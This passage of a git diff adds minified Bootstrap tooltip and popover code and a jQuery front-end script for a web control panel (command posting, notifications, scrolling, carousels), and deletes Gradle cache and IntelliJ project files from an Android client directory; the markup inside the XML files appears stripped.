',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:vn},Ln="show",xn="out",Pn={HIDE:"hide"+Tn,HIDDEN:"hidden"+Tn,SHOW:"show"+Tn,SHOWN:"shown"+Tn,INSERTED:"inserted"+Tn,CLICK:"click"+Tn,FOCUSIN:"focusin"+Tn,FOCUSOUT:"focusout"+Tn,MOUSEENTER:"mouseenter"+Tn,MOUSELEAVE:"mouseleave"+Tn},Hn="fade",jn="show",Rn=".tooltip-inner",Fn=".arrow",Mn="hover",Wn="focus",Un="click",Bn="manual",qn=function(){function i(t,e){if("undefined"==typeof be)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=p(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),p(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(p(this.getTipElement()).hasClass(jn))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),p.removeData(this.element,this.constructor.DATA_KEY),p(this.element).off(this.constructor.EVENT_KEY),p(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&p(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===p(this.element).css("display"))throw new Error("Please use show on visible elements");var t=p.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){p(this.element).trigger(t);var n=m.findShadowRoot(this.element),i=p.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!i)return;var o=this.getTipElement(),r=m.getUID(this.constructor.NAME);o.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&p(o).addClass(Hn);var s="function"==typeof this.config.placement?this.config.placement.call(this,o,this.element):this.config.placement,a=this._getAttachment(s);this.addAttachmentClass(a);var l=this._getContainer();p(o).data(this.constructor.DATA_KEY,this),p.contains(this.element.ownerDocument.documentElement,this.tip)||p(o).appendTo(l),p(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new be(this.element,o,{placement:a,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:Fn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}}),p(o).addClass(jn),"ontouchstart"in document.documentElement&&p(document.body).children().on("mouseover",null,p.noop);var c=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,p(e.element).trigger(e.constructor.Event.SHOWN),t===xn&&e._leave(null,e)};if(p(this.tip).hasClass(Hn)){var h=m.getTransitionDurationFromElement(this.tip);p(this.tip).one(m.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=p.Event(this.constructor.Event.HIDE),o=function(){e._hoverState!==Ln&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),p(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(p(this.element).trigger(i),!i.isDefaultPrevented()){if(p(n).removeClass(jn),"ontouchstart"in document.documentElement&&p(document.body).children().off("mouseover",null,p.noop),this._activeTrigger[Un]=!1,this._activeTrigger[Wn]=!1,this._activeTrigger[Mn]=!1,p(this.tip).hasClass(Hn)){var r=m.getTransitionDurationFromElement(n);p(n).one(m.TRANSITION_END,o).emulateTransitionEnd(r)}else o();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){p(this.getTipElement()).addClass(Dn+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||p(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(p(t.querySelectorAll(Rn)),this.getTitle()),p(t).removeClass(Hn+" "+jn)},t.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=bn(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?p(e).parent().is(t)||t.empty().append(e):t.text(p(e).text())},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getOffset=function(){var e=this,t={};return"function"==typeof this.config.offset?t.fn=function(t){return t.offsets=l({},t.offsets,e.config.offset(t.offsets,e.element)||{}),t}:t.offset=this.config.offset,t},t._getContainer=function(){return!1===this.config.container?document.body:m.isElement(this.config.container)?p(this.config.container):p(document).find(this.config.container)},t._getAttachment=function(t){return Nn[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)p(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Bn){var e=t===Mn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Mn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;p(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}}),p(this.element).closest(".modal").on("hide.bs.modal",function(){i.element&&i.hide()}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||p(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),p(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Wn:Mn]=!0),p(e.getTipElement()).hasClass(jn)||e._hoverState===Ln?e._hoverState=Ln:(clearTimeout(e._timeout),e._hoverState=Ln,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===Ln&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||p(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),p(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Wn:Mn]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=xn,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===xn&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){var e=p(this.element).data();return Object.keys(e).forEach(function(t){-1!==An.indexOf(t)&&delete e[t]}),"number"==typeof(t=l({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),m.typeCheckConfig(wn,t,this.constructor.DefaultType),t.sanitize&&(t.template=bn(t.template,t.whiteList,t.sanitizeFn)),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=p(this.getTipElement()),e=t.attr("class").match(In);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instance;this.tip=e.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(p(t).removeClass(Hn),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=p(this).data(Cn),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),p(this).data(Cn,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.3.1"}},{key:"Default",get:function(){return kn}},{key:"NAME",get:function(){return wn}},{key:"DATA_KEY",get:function(){return Cn}},{key:"Event",get:function(){return Pn}},{key:"EVENT_KEY",get:function(){return Tn}},{key:"DefaultType",get:function(){return On}}]),i}();p.fn[wn]=qn._jQueryInterface,p.fn[wn].Constructor=qn,p.fn[wn].noConflict=function(){return p.fn[wn]=Sn,qn._jQueryInterface};var Kn="popover",Qn="bs.popover",Vn="."+Qn,Yn=p.fn[Kn],zn="bs-popover",Xn=new RegExp("(^|\\s)"+zn+"\\S+","g"),Gn=l({},qn.Default,{placement:"right",trigger:"click",content:"",template:''}),$n=l({},qn.DefaultType,{content:"(string|element|function)"}),Jn="fade",Zn="show",ti=".popover-header",ei=".popover-body",ni={HIDE:"hide"+Vn,HIDDEN:"hidden"+Vn,SHOW:"show"+Vn,SHOWN:"shown"+Vn,INSERTED:"inserted"+Vn,CLICK:"click"+Vn,FOCUSIN:"focusin"+Vn,FOCUSOUT:"focusout"+Vn,MOUSEENTER:"mouseenter"+Vn,MOUSELEAVE:"mouseleave"+Vn},ii=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var o=i.prototype;return o.isWithContent=function(){return this.getTitle()||this._getContent()},o.addAttachmentClass=function(t){p(this.getTipElement()).addClass(zn+"-"+t)},o.getTipElement=function(){return this.tip=this.tip||p(this.config.template)[0],this.tip},o.setContent=function(){var t=p(this.getTipElement());this.setElementContent(t.find(ti),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(ei),e),t.removeClass(Jn+" "+Zn)},o._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},o._cleanTipClass=function(){var t=p(this.getTipElement()),e=t.attr("class").match(Xn);null!==e&&0=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t { }) { + let queryString = $.param(params); + let url = baseURL + '/' + commandID + '?' + queryString; + $.post(url, function (data) { + console.log(data); + if (data.error) return cb(data.error, undefined) + else return cb(false, data.message); + }); +} + +function showNotification(backgroundColor, text) { + Snackbar.show({ text, backgroundColor, pos: 'top-right', showAction: false }); +} + +function updateButton(element, commandID, additionalParams = {}) { + $(element).addClass('loading'); + sendCommand(commandID, additionalParams, (error, message) => { + // ok, yes, i'm adding 'fake' delay, it just makes the front end nicer, okay!? + if (error) { + setTimeout(() => { + showNotification('#f03434', error) + $(element).removeClass('loading') + }, 300) + } else { + setTimeout(() => { + showNotification('#2ecc71', message); + $(element).removeClass('loading'); + if (message === 'Requested') setTimeout(() => { window.location = window.location }, 200) + }, 300) + } + }); +} + +$(document).ready(function(){ + $("#main-text .btn-custom-black").hover(function() { + $("#main-text .btn-custom").addClass('hover'); + }, function() { + $("#main-text .btn-custom").removeClass('hover'); + }); + + + + + $(".open-list").on('click', function(){ + if($(this).hasClass('open')){ + $(this).siblings(".pricing-list").slideUp(); + $(this).text('Open list').removeClass('open'); + }else{ + $(this).siblings(".pricing-list").slideDown(); + $(this).text('Close list').addClass('open'); + } + + }); + $(".navbar-toggler").on('click', function(){ + if($(this).attr('aria-expanded') == 'true'){ + $('.navbar-brand').css('visibility', 'visible'); + $('.navbar').css('background-color', 'rgba(0, 0, 0, 0.8)'); + }else{ + $('.navbar-brand').css('visibility', 'hidden'); + $('.navbar').css('background-color', 'rgb(0, 0, 0)'); + } + }); + + $('.scroll-top').click(function(e) { + e.preventDefault; + $('html, body').animate({scrollTop: 0},500); + }) + // Cache selectors + var lastId, + topMenu = $(".navbar-nav"), + topMenuHeight = topMenu.outerHeight()+15, + // All list items + menuItems = topMenu.find("a"), + // Anchors corresponding to menu items + scrollItems = menuItems.map(function(){ + var item = $($(this).attr("href")); + if (item.length) { return item; } + }); + + // Bind click handler to menu items + // so we can get a fancy scroll animation + menuItems.click(function(e){ + var href = $(this).attr("href"), + offsetTop = href === "#" ? 0 : $(href).offset().top-topMenuHeight+1; + $('html, body').stop().animate({ + scrollTop: offsetTop + }, 500); + e.preventDefault(); + }); + + // Bind to scroll + $(window).scroll(function(){ + if ($(window).scrollTop()>700) { + $(".scroll-top").show(); + }else { + $(".scroll-top").hide(); + } + // Get container scroll position + var fromTop = $(this).scrollTop()+topMenuHeight; + + // Get id of current scroll item + var cur = scrollItems.map(function(){ + if ($(this).offset().top < fromTop) + return this; + }); + // Get the id of the current element + cur = cur[cur.length-1]; + var id = cur && cur.length ? cur[0].id : ""; + + if (lastId !== id) { + lastId = id; + // Set/remove active class + menuItems + .parent().removeClass("active") + .end().filter("[href='#"+id+"']").parent().addClass("active"); + } + }); + + $('.flowing-scroll').on( 'click', function(){ + var el = $(this); + var dest = el.attr('href'); + if(dest !== undefined && dest !== '') { + $('html').animate({ + scrollTop: $(dest).offset().top + }, 500 + ); + } + return false; + }); + let col8 = $('.container').width() * 0.83; + let videoCarousel = $("#video-carousel"); + videoCarousel.on('initialized.owl.carousel', function(event) { + $('a.owl-video').each(function(indx){ + let dataImage = $(this).attr("data-image"); + $(this).siblings(".owl-video-tn").css("background-image", "url('" + dataImage + "')"); + let dataTitle = $(this).attr("data-title"); + $(this).closest('.owl-item').prepend("

" + dataTitle + "

"); + }); + }); + + + + + + + let testimonialCarousel = $("#testimonial-carousel"); + testimonialCarousel.on('initialized.owl.carousel changed.owl.carousel', function(e) { + if (!e.namespace) { + return; + } + let carousel = e.relatedTarget; + $('.slider-counter').text(carousel.relative(carousel.current()) + 1 + ' / ' + carousel.items().length); + }); + + + let teamCarousel = $(".team-carousel"); + + + let blogCarousel = $("#blog-carousel"); + + $("#s-services .wrap-services").equalHeights(); + $('#select-time').on('change', function(event) { + if($(this).find("option:selected").text()) $(this).css('background-image', 'none');; + }); + + }); + (function($) { + + $.fn.equalHeights = function() { + var maxHeight = 0, + $this = $(this); + + $this.each( function() { + var height = $(this).innerHeight(); + + if ( height > maxHeight ) { maxHeight = height; } + }); + + return $this.css('height', maxHeight); + }; + + // auto-initialize plugin + $('[data-equal]').each(function(){ + var $this = $(this), + target = $this.data('equal'); + $this.find(target).equalHeights(); + }); + + })(jQuery); \ No newline at end of file diff --git a/server/assets/webpublic/js/semantic.min.js b/assets/webpublic/js/semantic.min.js similarity index 100% rename from server/assets/webpublic/js/semantic.min.js rename to assets/webpublic/js/semantic.min.js diff --git a/server/assets/webpublic/js/snackbar.min.js b/assets/webpublic/js/snackbar.min.js similarity index 100% rename from server/assets/webpublic/js/snackbar.min.js rename to assets/webpublic/js/snackbar.min.js diff --git a/assets/webpublic/logo.png b/assets/webpublic/logo.png new file mode 100644 index 0000000..840f3cb Binary files /dev/null and b/assets/webpublic/logo.png differ diff --git a/client/.gradle/5.1.1/executionHistory/executionHistory.bin b/client/.gradle/5.1.1/executionHistory/executionHistory.bin deleted file mode 100644 index 7e02b53..0000000 Binary files a/client/.gradle/5.1.1/executionHistory/executionHistory.bin and /dev/null differ diff --git a/client/.gradle/5.1.1/executionHistory/executionHistory.lock b/client/.gradle/5.1.1/executionHistory/executionHistory.lock deleted file mode 100644 index f07de24..0000000 Binary files a/client/.gradle/5.1.1/executionHistory/executionHistory.lock and /dev/null differ diff --git a/client/.gradle/5.1.1/fileChanges/last-build.bin b/client/.gradle/5.1.1/fileChanges/last-build.bin deleted file mode 100644 index f76dd23..0000000 Binary files a/client/.gradle/5.1.1/fileChanges/last-build.bin and /dev/null differ diff --git a/client/.gradle/5.1.1/fileContent/fileContent.lock b/client/.gradle/5.1.1/fileContent/fileContent.lock deleted file mode 100644 index 014ef9c..0000000 Binary files a/client/.gradle/5.1.1/fileContent/fileContent.lock and /dev/null differ diff --git a/client/.gradle/5.1.1/fileHashes/fileHashes.bin b/client/.gradle/5.1.1/fileHashes/fileHashes.bin deleted file mode 100644 index eb3da94..0000000 Binary files a/client/.gradle/5.1.1/fileHashes/fileHashes.bin and /dev/null differ diff --git a/client/.gradle/5.1.1/fileHashes/fileHashes.lock b/client/.gradle/5.1.1/fileHashes/fileHashes.lock deleted file mode 100644 index 11fa6ed..0000000 Binary files a/client/.gradle/5.1.1/fileHashes/fileHashes.lock and /dev/null differ diff --git a/client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin b/client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin deleted file mode 100644 index f6b02c4..0000000 Binary files a/client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin and /dev/null differ diff --git a/client/.gradle/5.1.1/gc.properties b/client/.gradle/5.1.1/gc.properties deleted file mode 100644 index e69de29..0000000 diff --git a/client/.gradle/5.1.1/javaCompile/classAnalysis.bin b/client/.gradle/5.1.1/javaCompile/classAnalysis.bin deleted file mode 100644 index dfc7101..0000000 Binary files a/client/.gradle/5.1.1/javaCompile/classAnalysis.bin and /dev/null differ diff --git a/client/.gradle/5.1.1/javaCompile/javaCompile.lock b/client/.gradle/5.1.1/javaCompile/javaCompile.lock deleted file mode 100644 index 486f974..0000000 Binary files a/client/.gradle/5.1.1/javaCompile/javaCompile.lock and /dev/null differ diff --git a/client/.gradle/5.1.1/javaCompile/taskHistory.bin b/client/.gradle/5.1.1/javaCompile/taskHistory.bin deleted file mode 100644 index 93b8eb7..0000000 Binary files a/client/.gradle/5.1.1/javaCompile/taskHistory.bin and /dev/null differ diff --git a/client/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/client/.gradle/buildOutputCleanup/buildOutputCleanup.lock deleted file mode 100644 index 18516ae..0000000 Binary files a/client/.gradle/buildOutputCleanup/buildOutputCleanup.lock and /dev/null differ diff --git a/client/.gradle/buildOutputCleanup/cache.properties b/client/.gradle/buildOutputCleanup/cache.properties deleted file mode 100644 index 84da4a1..0000000 --- a/client/.gradle/buildOutputCleanup/cache.properties +++ /dev/null @@ -1,2 +0,0 @@ -#Fri Aug 23 22:31:36 BST 2019 -gradle.version=5.1.1 diff --git a/client/.gradle/buildOutputCleanup/outputFiles.bin b/client/.gradle/buildOutputCleanup/outputFiles.bin deleted file mode 100644 index 3134c8c..0000000 Binary files a/client/.gradle/buildOutputCleanup/outputFiles.bin and /dev/null differ diff --git a/client/.gradle/vcs-1/gc.properties b/client/.gradle/vcs-1/gc.properties deleted file mode 100644 index e69de29..0000000 diff --git a/client/.idea/caches/build_file_checksums.ser b/client/.idea/caches/build_file_checksums.ser deleted file mode 100644 index 81fe449..0000000 Binary files a/client/.idea/caches/build_file_checksums.ser and /dev/null differ diff --git a/client/.idea/caches/gradle_models.ser b/client/.idea/caches/gradle_models.ser deleted file mode 100644 index 2dabab0..0000000 Binary files a/client/.idea/caches/gradle_models.ser and /dev/null differ diff --git a/client/.idea/codeStyles/Project.xml b/client/.idea/codeStyles/Project.xml deleted file mode 100644 index 3279b6b..0000000 --- a/client/.idea/codeStyles/Project.xml +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - -
- - - - xmlns:android - - ^$ - - - -
-
- - - - xmlns:.* - - ^$ - - - BY_NAME - -
-
- - - - .*:id - - http://schemas.android.com/apk/res/android - - - -
-
- - - - .*:name - - http://schemas.android.com/apk/res/android - - - -
-
- - - - name - - ^$ - - - -
-
- - - - style - - ^$ - - - -
-
- - - - .* - - ^$ - - - BY_NAME - -
-
- - - - .* - - http://schemas.android.com/apk/res/android - - - ANDROID_ATTRIBUTE_ORDER - -
-
- - - - .* - - .* - - - BY_NAME - -
-
-
-
-
-
\ No newline at end of file diff --git a/client/.idea/encodings.xml b/client/.idea/encodings.xml deleted file mode 100644 index f13fa33..0000000 --- a/client/.idea/encodings.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/client/.idea/gradle.xml b/client/.idea/gradle.xml deleted file mode 100644 index f5f1ec4..0000000 --- a/client/.idea/gradle.xml +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml b/client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml deleted file mode 100644 index 7c9c26a..0000000 --- a/client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml b/client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml deleted file mode 100644 index e3bb0a0..0000000 --- a/client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml b/client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml deleted file mode 100644 index 2e4d7ad..0000000 --- a/client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml b/client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml deleted file mode 100644 index 11e0095..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml b/client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml deleted file mode 100644 index e42e057..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml b/client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml deleted file mode 100644 index c2c61c0..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml deleted file mode 100644 index 31a7843..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml deleted file mode 100644 index ec72fff..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml deleted file mode 100644 index e6381e4..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml deleted file mode 100644 index ac86aba..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml deleted file mode 100644 index fc4864c..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml b/client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml deleted file mode 100644 index e0fdb36..0000000 --- a/client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml b/client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml deleted file mode 100644 index 8793362..0000000 --- a/client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml b/client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml deleted file mode 100644 index 787e8f7..0000000 --- a/client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml b/client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml deleted file mode 100644 index 5f36b7a..0000000 --- a/client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml b/client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml deleted file mode 100644 index 4b53e0a..0000000 --- a/client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml b/client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml deleted file mode 100644 index 47c70ba..0000000 --- a/client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml b/client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml deleted file mode 100644 index 2f6e776..0000000 --- a/client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml b/client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml deleted file mode 100644 index 834e8f2..0000000 --- a/client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml b/client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml deleted file mode 100644 index 761f28f..0000000 --- a/client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml b/client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml deleted file mode 100644 index 9d5b63d..0000000 --- a/client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml deleted file mode 100644 index 5e35c65..0000000 --- a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml deleted file mode 100644 index b3ceb50..0000000 --- a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml deleted file mode 100644 index aeb99b3..0000000 --- 